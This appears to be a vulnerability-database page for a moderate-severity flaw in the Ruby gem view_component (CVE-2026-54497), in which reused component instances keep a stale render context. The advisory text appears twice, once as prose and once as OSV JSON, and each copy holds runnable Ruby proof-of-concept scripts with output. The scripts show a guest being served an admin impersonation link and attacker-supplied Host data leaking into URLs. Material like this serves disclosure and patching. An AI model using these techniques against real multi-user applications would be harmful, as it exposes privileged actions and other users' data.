Vulnerabilities in pkg:gem/view_component

PACKAGE
Advisory Identifier: GHSA-9h85-g7w3-rh49
Advisory Summary

CVE-2026-54497 is a MODERATE (CVSS 6.8) reused component instances retain stale vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting ViewComponent libraries in the RubyGems ecosystem. The issue involves reused component instances retain stale render context. Remediation is available by upgrading affected packages to version 4.12.0.

6 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:gem/view_component

6 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:gem/view_component. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-9h85-g7w3-rh49 CVE-2026-54497 MODERATE ViewComponent: Reused Component Instances Retain Stale Render Context
GHSA-97jw-64cj-jc58 CVE-2026-54498 HIGH ViewComponent: around_render HTML-Safety Bypass
GHSA-hg3h-g7xc-f7vp CVE-2026-44837 MODERATE view_component: System Test Entry Point Path Check Allows Sibling Directory Escape
GHSA-7f3r-gwc9-2995 CVE-2026-44836 MODERATE view_component: Preview Route Can Dispatch Inherited Helper Methods
GHSA-wf2x-8w6j-qw37 CVE-2024-21636 MODERATE view_component Cross-site Scripting vulnerability
GHSA-cm9w-c4rj-r2cf CVE-2022-24722 HIGH Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in view_component

CVE-2026-54497 at a Glance

CVE Identifier CVE-2026-54497
GHSA Identifier GHSA-9h85-g7w3-rh49
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product ViewComponent
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54497

To remediate this vulnerability, upgrade all affected ViewComponent dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

view_component fixed: 4.12.0
Upgrade view_component to 4.12.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for view_component

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54497, inspect your project dependencies for ViewComponent:

inspect dependencies for view_component

Analyze the terminal output to locate any version of ViewComponent in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.12.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In ViewComponent, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Reused Component Instances Retain Stale Render Context ## Summary `ViewComponent::Base` instances retain multiple render-scoped objects across calls to `render_in`. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale `helpers`, `controller`, `request`, `view_flow`, format/variant details, and slot child context from an earlier render. This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering. ## Severity The PoC demonstrates cross-user authorization impact in a realistic downstream application pattern. If the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned: Alternative CVSS: 8.2 Alternative vector: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N` ## Affected Code Validated against: - Repository commit: `eea79445` - Ruby: `3.4.9` Relevant locations: - `lib/view_component/base.rb` - `render_in` - `controller` - `helpers` - `__vc_request` - `lib/view_component/slot.rb` - `Slot#to_s` - `lib/view_component/slotable.rb` - slot storage in `@__vc_set_slots` - `lib/view_component/collection.rb` - child component memoization and spacer rendering Key retained state: ```ruby @view_context = view_context self.__vc_original_view_context ||= view_context @lookup_context ||= view_context.lookup_context @view_flow ||= view_context.view_flow @__vc_requested_details ||= @lookup_context.vc_requested_details ``` ```ruby @__vc_controller ||= view_context.controller @__vc_helpers ||= __vc_original_view_context || controller.view_context @__vc_request ||= controller.request if controller.respond_to?(:request) ``` Slot children also inherit the parent original view context: ```ruby @__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context ``` Collections memoize child component instances: ```ruby return @components if defined? @components ``` ## Root Cause Component instances are mutable render objects. `render_in` updates some per-render fields, but many request-scoped values are memoized using `||=` or stored for later slot/collection rendering. There is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render. Maintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant. ## Proof of Concept The following PoC demonstrates four independent effects: - stale authorization gate - stale Host/request data in generated absolute URLs - stale slot child context - cross-thread context mixing Run from the repository root: ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" class ReusePocController < ActionController::Base helper_method :current_user, :admin? attr_accessor :current_user, :role def admin? = role == :admin end routes = ActionDispatch::Routing::RouteSet.new routes.draw { get "/accounts/:id", to: "accounts#show" } ReusePocController.include routes.url_helpers class AdminPanelComponent < ViewComponent::Base def render? = helpers.admin? def call href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false) "ADMIN user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe end end class UrlOnlyComponent < ViewComponent::Base def call href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false) "user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe end end class SlotChildComponent < ViewComponent::Base def call = "child_user=#{helpers.current_user};child_path=#{request.path}".html_safe end class SlotParentComponent < ViewComponent::Base renders_one :child, SlotChildComponent def call = "parent_user=#{helpers.current_user};parent_path=#{request.path};".html_safe + child.to_s end class RaceComponent < ViewComponent::Base def before_render = sleep 0.05 def call = "#{helpers.current_user}@#{request.path}".html_safe end def vc(user:, role:, path:, host: "app.example") c = ReusePocController.new c.current_user = user c.role = role c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host))) c.set_response!(ActionDispatch::Response.new) c.view_context end admin_vc = vc(user: "alice", role: :admin, path: "/admin", host: "admin.example") guest_vc = vc(user: "bob", role: :guest, path: "/guest", host: "app.example") panel = AdminPanelComponent.new puts "auth_admin_first=#{panel.render_in(admin_vc)}" puts "auth_guest_reused=#{panel.render_in(guest_vc)}" puts "auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}" url = UrlOnlyComponent.new puts "host_attacker_prime=#{url.render_in(vc(user: "attacker", role: :guest, path: "/prime", host: "evil.example"))}" puts "host_victim_reused=#{url.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}" puts "host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}" parent = SlotParentComponent.new puts "slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}" puts "slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}" puts "slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}" race = RaceComponent.new q = Queue.new t1 = Thread.new { q << [:admin, race.render_in(vc(user: "admin", role: :admin, path: "/admin"))] } t2 = Thread.new { q << [:guest, race.render_in(vc(user: "guest", role: :guest, path: "/guest"))] } t1.join t2.join results = 2.times.map { q.pop }.to_h puts "race_admin_thread=#{results[:admin]}" puts "race_guest_thread=#{results[:guest]}" ``` Observed output: ```text auth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42 auth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42 auth_guest_fresh="" host_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42 host_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42 host_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42 slot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin slot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest slot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest race_admin_thread=admin@/guest race_guest_thread=admin@/guest ``` ## Authorization-Impact PoC The following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object. The component uses `render?` as an authorization-aware visibility gate and emits a representative privileged action link. ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" module SharedComponentRegistry def self.admin_toolbar @admin_toolbar ||= AdminToolbarComponent.new end def self.reset! remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar) end end User = Struct.new(:id, :role, keyword_init: true) do def admin? = role == :admin end class AppController < ActionController::Base helper_method :current_user, :admin? attr_accessor :current_user def admin? current_user&.admin? end end routes = ActionDispatch::Routing::RouteSet.new routes.draw do get "/admin/users/:id/impersonate", to: "admin/users#impersonate", as: :impersonate_admin_user end AppController.include routes.url_helpers class AdminToolbarComponent < ViewComponent::Base def render? helpers.admin? end def call helpers.link_to( "Impersonate user 42", helpers.impersonate_admin_user_url(42, host: request.host), data: { turbo_method: :post } ) end end class DashboardController < AppController def render_dashboard_with_shared_component render_to_string(inline: '<main><h1>Dashboard</h1><%= render SharedComponentRegistry.admin_toolbar %></main>') end def render_dashboard_with_fresh_component render_to_string(inline: '<main><h1>Dashboard</h1><%= render AdminToolbarComponent.new %></main>') end end def controller_for(user:, host:, path: "/dashboard") c = DashboardController.new c.current_user = user c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host))) c.set_response!(ActionDispatch::Response.new) c end SharedComponentRegistry.reset! admin = User.new(id: 1, role: :admin) guest = User.new(id: 2, role: :guest) admin_response = controller_for(user: admin, host: "admin.example").render_dashboard_with_shared_component guest_reused_response = controller_for(user: guest, host: "app.example").render_dashboard_with_shared_component guest_fresh_response = controller_for(user: guest, host: "app.example").render_dashboard_with_fresh_component puts "admin_shared_contains_admin_link=#{admin_response.include?('/admin/users/42/impersonate')}" puts "guest_reused_contains_admin_link=#{guest_reused_response.include?('/admin/users/42/impersonate')}" puts "guest_fresh_contains_admin_link=#{guest_fresh_response.include?('/admin/users/42/impersonate')}" puts "guest_reused_contains_admin_host=#{guest_reused_response.include?('http://admin.example/admin/users/42/impersonate')}" puts "guest_reused_response=#{guest_reused_response.gsub(/\s+/, ' ').strip}" puts "guest_fresh_response=#{guest_fresh_response.gsub(/\s+/, ' ').strip.inspect}" ``` Observed output: ```text admin_shared_contains_admin_link=true guest_reused_contains_admin_link=true guest_fresh_contains_admin_link=false guest_reused_contains_admin_host=true guest_reused_response=<main><h1>Dashboard</h1><a data-turbo-method="post" href="http://admin.example/admin/users/42/impersonate">Impersonate user 42</a></main> guest_fresh_response="<main><h1>Dashboard</h1></main>" ``` This confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL. ## Exploit Scenario A downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object. Potential real-world examples: - A navigation/sidebar component checks `helpers.admin?` in `render?`. - A tenant switcher uses `request.host` or `current_user.account`. - A component emits absolute URLs or signed action links. - A table uses slot child components that rely on helper/request state. - A global UI registry stores instantiated spacer or child components. In these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users. ## Impact Confirmed impact classes: - stale privileged UI rendering - stale user identity through `helpers` - stale Host/request data in generated absolute URLs - slot child context inheritance - cross-thread context corruption - stale format/variant template selection - stale `view_flow` / `content_for` writes - collection and spacer component context leakage This can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data. ## Preconditions - The same component, collection, slot, or spacer component instance is reused across render contexts. - The component reads request-scoped or user-scoped APIs such as `helpers`, `controller`, `request`, URL helpers, `render?`, `before_render`, slots, variants, formats, or `content_for`. - Higher impact when the shared object crosses users, tenants, roles, or threads. Normal per-request usage such as `render(MyComponent.new(...))` is not affected. ## Chaining Potential This issue can chain with: - UI-only authorization checks - signed admin links embedded in components - Host header poisoning - multi-tenant routing based on host/subdomain - shared component registries - fragment/component caching patterns that cache objects rather than rendered strings - concurrent Rails servers such as Puma The framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions. ## Remediation The safest fix is to make component and collection instances one-shot renderables. Recommended options: 1. Add a runtime guard in `render_in` that raises or warns when the same component instance is rendered again with a different `view_context`. 2. Reset render-scoped ivars at the beginning of every render, including: - `__vc_original_view_context` - `@lookup_context` - `@view_flow` - `@__vc_requested_details` - `@__vc_controller` - `@__vc_helpers` - `@__vc_request` 3. Rebuild `ViewComponent::Collection` child component instances per render or document/enforce collections as one-shot. 4. Avoid accepting a reusable instantiated `spacer_component`, or reset/clone it before rendering. 5. Add thread-safety tests for concurrent rendering of a shared instance.

CVE-2026-54497 Affected ViewComponent Versions

1 component(s)
Fixed Versions:
4.12.0
Product / Package Ecosystem Affected Versions Fixed Version
view_component
RubyGems
≥ 4.0.0
< 4.12.0
4.12.0

References

Frequently Asked Questions

What is CVE-2026-54497?
CVE-2026-54497 is a security vulnerability in ViewComponent involving Reused Component Instances Retain Stale Render Context under CWE-668: Exposure of Resource to Wrong Sphere.
Which ViewComponent versions are affected?
Affected versions include releases prior to 4.12.0 across affected packages: view_component.
What version fixes CVE-2026-54497?
Upgrading to 4.12.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is view_component affected?
Yes, view_component is affected in releases prior to 4.12.0. Upgrade your dependency to 4.12.0 or later.
What is the CVSS score of CVE-2026-54497?
CVE-2026-54497 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-54497?
CVE-2026-54497 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check RubyGems dependencies for CVE-2026-54497?
Run the dependency tree command: 'inspect dependencies for view_component'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9h85-g7w3-rh49",
  "modified" : "2026-07-15T22:51:33Z",
  "published" : "2026-07-15T22:51:33Z",
  "aliases" : [ "CVE-2026-54497" ],
  "summary" : "ViewComponent: Reused Component Instances Retain Stale Render Context",
  "details" : "# Reused Component Instances Retain Stale Render Context\n\n## Summary\n\n`ViewComponent::Base` instances retain multiple render-scoped objects across calls to `render_in`. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale `helpers`, `controller`, `request`, `view_flow`, format/variant details, and slot child context from an earlier render.\n\nThis can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering.\n\n## Severity\n\nThe PoC demonstrates cross-user authorization impact in a realistic downstream application pattern.\nIf the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned:\n\nAlternative CVSS: 8.2\nAlternative vector: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N`\n\n## Affected Code\n\nValidated against:\n\n- Repository commit: `eea79445`\n- Ruby: `3.4.9`\n\nRelevant locations:\n\n- `lib/view_component/base.rb`\n  - `render_in`\n  - `controller`\n  - `helpers`\n  - `__vc_request`\n- `lib/view_component/slot.rb`\n  - `Slot#to_s`\n- `lib/view_component/slotable.rb`\n  - slot storage in `@__vc_set_slots`\n- `lib/view_component/collection.rb`\n  - child component memoization and spacer rendering\n\nKey retained state:\n\n```ruby\n@view_context = view_context\nself.__vc_original_view_context ||= view_context\n@lookup_context ||= view_context.lookup_context\n@view_flow ||= view_context.view_flow\n@__vc_requested_details ||= @lookup_context.vc_requested_details\n```\n\n```ruby\n@__vc_controller ||= view_context.controller\n@__vc_helpers ||= __vc_original_view_context || controller.view_context\n@__vc_request ||= controller.request if controller.respond_to?(:request)\n```\n\nSlot children also inherit the parent original view context:\n\n```ruby\n@__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context\n```\n\nCollections memoize child component instances:\n\n```ruby\nreturn @components if defined? @components\n```\n\n## Root Cause\n\nComponent instances are mutable render objects. `render_in` updates some per-render fields, but many request-scoped values are memoized using `||=` or stored for later slot/collection rendering.\n\nThere is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render.\n\nMaintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant.\n\n## Proof of Concept\n\nThe following PoC demonstrates four independent effects:\n\n- stale authorization gate\n- stale Host/request data in generated absolute URLs\n- stale slot child context\n- cross-thread context mixing\n\nRun from the repository root:\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nclass ReusePocController < ActionController::Base\n  helper_method :current_user, :admin?\n  attr_accessor :current_user, :role\n  def admin? = role == :admin\nend\n\nroutes = ActionDispatch::Routing::RouteSet.new\nroutes.draw { get \"/accounts/:id\", to: \"accounts#show\" }\nReusePocController.include routes.url_helpers\n\nclass AdminPanelComponent < ViewComponent::Base\n  def render? = helpers.admin?\n\n  def call\n    href = helpers.url_for(controller: \"accounts\", action: \"show\", id: 42, only_path: false)\n    \"ADMIN user=#{helpers.current_user};host=#{request.host};href=#{href}\".html_safe\n  end\nend\n\nclass UrlOnlyComponent < ViewComponent::Base\n  def call\n    href = helpers.url_for(controller: \"accounts\", action: \"show\", id: 42, only_path: false)\n    \"user=#{helpers.current_user};host=#{request.host};href=#{href}\".html_safe\n  end\nend\n\nclass SlotChildComponent < ViewComponent::Base\n  def call = \"child_user=#{helpers.current_user};child_path=#{request.path}\".html_safe\nend\n\nclass SlotParentComponent < ViewComponent::Base\n  renders_one :child, SlotChildComponent\n  def call = \"parent_user=#{helpers.current_user};parent_path=#{request.path};\".html_safe + child.to_s\nend\n\nclass RaceComponent < ViewComponent::Base\n  def before_render = sleep 0.05\n  def call = \"#{helpers.current_user}@#{request.path}\".html_safe\nend\n\ndef vc(user:, role:, path:, host: \"app.example\")\n  c = ReusePocController.new\n  c.current_user = user\n  c.role = role\n  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, \"HTTP_HOST\" => host)))\n  c.set_response!(ActionDispatch::Response.new)\n  c.view_context\nend\n\nadmin_vc = vc(user: \"alice\", role: :admin, path: \"/admin\", host: \"admin.example\")\nguest_vc = vc(user: \"bob\", role: :guest, path: \"/guest\", host: \"app.example\")\n\npanel = AdminPanelComponent.new\nputs \"auth_admin_first=#{panel.render_in(admin_vc)}\"\nputs \"auth_guest_reused=#{panel.render_in(guest_vc)}\"\nputs \"auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}\"\n\nurl = UrlOnlyComponent.new\nputs \"host_attacker_prime=#{url.render_in(vc(user: \"attacker\", role: :guest, path: \"/prime\", host: \"evil.example\"))}\"\nputs \"host_victim_reused=#{url.render_in(vc(user: \"victim\", role: :guest, path: \"/account\", host: \"app.example\"))}\"\nputs \"host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: \"victim\", role: :guest, path: \"/account\", host: \"app.example\"))}\"\n\nparent = SlotParentComponent.new\nputs \"slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}\"\nputs \"slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}\"\nputs \"slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}\"\n\nrace = RaceComponent.new\nq = Queue.new\nt1 = Thread.new { q << [:admin, race.render_in(vc(user: \"admin\", role: :admin, path: \"/admin\"))] }\nt2 = Thread.new { q << [:guest, race.render_in(vc(user: \"guest\", role: :guest, path: \"/guest\"))] }\nt1.join\nt2.join\nresults = 2.times.map { q.pop }.to_h\nputs \"race_admin_thread=#{results[:admin]}\"\nputs \"race_guest_thread=#{results[:guest]}\"\n```\n\nObserved output:\n\n```text\nauth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42\nauth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42\nauth_guest_fresh=\"\"\n\nhost_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42\nhost_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42\nhost_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42\n\nslot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin\nslot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest\nslot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest\n\nrace_admin_thread=admin@/guest\nrace_guest_thread=admin@/guest\n```\n\n## Authorization-Impact PoC\n\nThe following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object.\n\nThe component uses `render?` as an authorization-aware visibility gate and emits a representative privileged action link.\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nmodule SharedComponentRegistry\n  def self.admin_toolbar\n    @admin_toolbar ||= AdminToolbarComponent.new\n  end\n\n  def self.reset!\n    remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar)\n  end\nend\n\nUser = Struct.new(:id, :role, keyword_init: true) do\n  def admin? = role == :admin\nend\n\nclass AppController < ActionController::Base\n  helper_method :current_user, :admin?\n  attr_accessor :current_user\n\n  def admin?\n    current_user&.admin?\n  end\nend\n\nroutes = ActionDispatch::Routing::RouteSet.new\nroutes.draw do\n  get \"/admin/users/:id/impersonate\", to: \"admin/users#impersonate\", as: :impersonate_admin_user\nend\nAppController.include routes.url_helpers\n\nclass AdminToolbarComponent < ViewComponent::Base\n  def render?\n    helpers.admin?\n  end\n\n  def call\n    helpers.link_to(\n      \"Impersonate user 42\",\n      helpers.impersonate_admin_user_url(42, host: request.host),\n      data: { turbo_method: :post }\n    )\n  end\nend\n\nclass DashboardController < AppController\n  def render_dashboard_with_shared_component\n    render_to_string(inline: '<main><h1>Dashboard</h1><%= render SharedComponentRegistry.admin_toolbar %></main>')\n  end\n\n  def render_dashboard_with_fresh_component\n    render_to_string(inline: '<main><h1>Dashboard</h1><%= render AdminToolbarComponent.new %></main>')\n  end\nend\n\ndef controller_for(user:, host:, path: \"/dashboard\")\n  c = DashboardController.new\n  c.current_user = user\n  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, \"HTTP_HOST\" => host)))\n  c.set_response!(ActionDispatch::Response.new)\n  c\nend\n\nSharedComponentRegistry.reset!\nadmin = User.new(id: 1, role: :admin)\nguest = User.new(id: 2, role: :guest)\n\nadmin_response = controller_for(user: admin, host: \"admin.example\").render_dashboard_with_shared_component\nguest_reused_response = controller_for(user: guest, host: \"app.example\").render_dashboard_with_shared_component\nguest_fresh_response = controller_for(user: guest, host: \"app.example\").render_dashboard_with_fresh_component\n\nputs \"admin_shared_contains_admin_link=#{admin_response.include?('/admin/users/42/impersonate')}\"\nputs \"guest_reused_contains_admin_link=#{guest_reused_response.include?('/admin/users/42/impersonate')}\"\nputs \"guest_fresh_contains_admin_link=#{guest_fresh_response.include?('/admin/users/42/impersonate')}\"\nputs \"guest_reused_contains_admin_host=#{guest_reused_response.include?('http://admin.example/admin/users/42/impersonate')}\"\nputs \"guest_reused_response=#{guest_reused_response.gsub(/\\s+/, ' ').strip}\"\nputs \"guest_fresh_response=#{guest_fresh_response.gsub(/\\s+/, ' ').strip.inspect}\"\n```\n\nObserved output:\n\n```text\nadmin_shared_contains_admin_link=true\nguest_reused_contains_admin_link=true\nguest_fresh_contains_admin_link=false\nguest_reused_contains_admin_host=true\nguest_reused_response=<main><h1>Dashboard</h1><a data-turbo-method=\"post\" href=\"http://admin.example/admin/users/42/impersonate\">Impersonate user 42</a></main>\nguest_fresh_response=\"<main><h1>Dashboard</h1></main>\"\n```\n\nThis confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL.\n\n## Exploit Scenario\n\nA downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object.\n\nPotential real-world examples:\n\n- A navigation/sidebar component checks `helpers.admin?` in `render?`.\n- A tenant switcher uses `request.host` or `current_user.account`.\n- A component emits absolute URLs or signed action links.\n- A table uses slot child components that rely on helper/request state.\n- A global UI registry stores instantiated spacer or child components.\n\nIn these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users.\n\n## Impact\n\nConfirmed impact classes:\n\n- stale privileged UI rendering\n- stale user identity through `helpers`\n- stale Host/request data in generated absolute URLs\n- slot child context inheritance\n- cross-thread context corruption\n- stale format/variant template selection\n- stale `view_flow` / `content_for` writes\n- collection and spacer component context leakage\n\nThis can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data.\n\n## Preconditions\n\n- The same component, collection, slot, or spacer component instance is reused across render contexts.\n- The component reads request-scoped or user-scoped APIs such as `helpers`, `controller`, `request`, URL helpers, `render?`, `before_render`, slots, variants, formats, or `content_for`.\n- Higher impact when the shared object crosses users, tenants, roles, or threads.\n\nNormal per-request usage such as `render(MyComponent.new(...))` is not affected.\n\n## Chaining Potential\n\nThis issue can chain with:\n\n- UI-only authorization checks\n- signed admin links embedded in components\n- Host header poisoning\n- multi-tenant routing based on host/subdomain\n- shared component registries\n- fragment/component caching patterns that cache objects rather than rendered strings\n- concurrent Rails servers such as Puma\n\nThe framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions.\n\n## Remediation\n\nThe safest fix is to make component and collection instances one-shot renderables.\n\nRecommended options:\n\n1. Add a runtime guard in `render_in` that raises or warns when the same component instance is rendered again with a different `view_context`.\n2. Reset render-scoped ivars at the beginning of every render, including:\n   - `__vc_original_view_context`\n   - `@lookup_context`\n   - `@view_flow`\n   - `@__vc_requested_details`\n   - `@__vc_controller`\n   - `@__vc_helpers`\n   - `@__vc_request`\n3. Rebuild `ViewComponent::Collection` child component instances per render or document/enforce collections as one-shot.\n4. Avoid accepting a reusable instantiated `spacer_component`, or reset/clone it before rendering.\n5. Add thread-safety tests for concurrent rendering of a shared instance.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "view_component"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.12.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ViewComponent/view_component/security/advisories/GHSA-9h85-g7w3-rh49"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ViewComponent/view_component/commit/7b05073be28037f7d5ff141e9dd42f3cf47956a4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ViewComponent/view_component"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ViewComponent/view_component/releases/tag/v4.12.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-54497.yml"
  }, {
    "type" : "WEB",
    "url" : "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54497"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-362", "CWE-488", "CWE-668" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-15T22:51:33Z",
    "nvd_published_at" : null
  }
}